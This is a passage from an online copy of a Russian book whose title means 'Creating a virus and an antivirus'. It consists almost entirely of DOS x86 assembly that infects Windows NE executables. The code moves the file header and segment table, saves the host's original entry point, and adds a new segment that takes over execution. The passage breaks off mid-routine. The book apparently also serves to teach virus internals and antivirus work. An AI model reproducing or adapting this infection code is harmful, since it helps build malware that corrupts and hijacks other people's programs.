Создаем вирус и антивирус. Игорь Гульев
Читать онлайн книгу.NE−заголовок на 8 байт ближе к началу файла.
;Исправим соответствующие поля старого заголовка
sub WORD PTR [old_hdr+10h],8
sub WORD PTR [old_hdr+3ch],8
sbb WORD PTR [old_hdr+3eh],0
;Исправим значения таблиц в новом заголовке, чтобы переместились
;только заголовок и таблица сегментов (без остальных таблиц)
add WORD PTR [new_hdr+4],8
add WORD PTR [new_hdr+24h],8
add WORD PTR [new_hdr+26h],8
add WORD PTR [new_hdr+28h],8
add WORD PTR [new_hdr+2ah],8
;Сохраним оригинальные значения точек входа CS и IP
push WORD PTR [new_hdr+14h]
pop [host_ip]
push WORD PTR [new_hdr+16h]
pop [host_cs]
;Добавим еще один сегмент в таблицу сегментов и установим
;точку входа на его начало
mov WORD PTR [new_hdr+14h],0
inc WORD PTR [new_hdr+1ch]
push WORD PTR [new_hdr+1ch]
pop WORD PTR [new_hdr+16h]
;Переместим указатель чтения/записи в начало файла
;(к старому заголовку)
xor cx,cx
xor dx,dx
mov ax,4200h
int 21h
;Запишем старый заголовок, так как модифицированы
;некоторые поля его копии в памяти
mov dx,OFFSET old_hdr
mov cx,40h
mov ah,40h
int 21h
;Переместим указатель чтения/записи на начало нового
;заголовка (его переместили на 8 байт к началу файла)
mov dx,WORD PTR [old_hdr+3ch]
mov cx,WORD PTR [old_hdr+3eh]
mov ax,4200h
int 21h
;Запишем новый заголовок, так как в его копии
;в памяти некоторые поля модифицированы
mov dx,OFFSET new_hdr
mov cx,40h
mov ah,40h
int 21h
;Переместим указатель чтения/записи на 8 байт
;вперед – к началу таблицы сегментов
xor cx,cx
mov dx,8
mov ax,4201h
int 21h
;Рассчитаем размер таблицы сегментов и считаем ее в память
mov dx,OFFSET temp
mov cx,WORD PTR [new_hdr+1ch]
dec cx
shl cx,3
push cx
mov ah,3Fh
int 21h
;Переместим указатель чтения/записи назад, к позиции
;за 8 байт перед началом таблицы сегментов
pop dx
push dx
add dx,8
neg dx
mov cx,–1
mov ax,4201h
int 21h
;Запишем таблицу сегментов в файл, но не на ее прежнее место,
;а на 8 байт ближе к началу файла
mov dx,OFFSET temp
pop cx
mov ah,40h
int 21h
;Прочтем текущую позицию чтения/записи (конец таблицы сегментов)
xor cx,cx
xor dx,dx
mov ax,4201h
int 21h
;Сохраним в стеке текущую позицию чтения/записи
push dx
push ax
;Получим длину файла, переместив указатель
;чтения/записи в конец файла
xor cx,cx
xor dx,dx
mov ax,4202h
int 21h
;Сохраним в стеке длину файла
push dx
push ax
;Вычислим и сохраним длину логического сектора
mov cx,WORD PTR [new_hdr+32h]
mov ax,1
shl ax,cl
mov [log_sec_len],ax
;Вычислим длину файла в логических секторах
mov cx,ax
pop ax
pop dx
div cx
;Учтем неполный сектор. Если в результате получился
;остаток, увеличим количество секторов
or dx,dx
jz no_rmd
inc ax
no_rmd:
;Заполним поля нового элемента в таблице